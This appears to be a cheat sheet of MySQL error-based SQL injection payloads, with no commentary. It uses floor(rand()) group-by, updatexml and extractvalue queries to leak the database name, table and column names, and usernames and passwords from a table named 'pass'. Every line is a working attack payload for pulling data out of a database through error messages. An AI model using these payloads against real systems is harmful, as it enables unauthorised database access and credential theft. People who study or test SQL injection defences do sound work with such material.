select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name; 

select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=‘bypass‘ limit 1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;

select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=‘pass‘ limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;

select count(*),concat(0x3a,0x3a,(select username from pass limit 1,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;

select updatexml(0,concat(0x7e,(select database())),0);

select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0);

select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name=‘pass‘ limit 1,1)),0);

select updatexml(0,concat(0x7e,(SELECT concat(password) FROM pass limit 0,1)),0);

select extractvalue(1,concat(0x7e,(select user()),0x7e));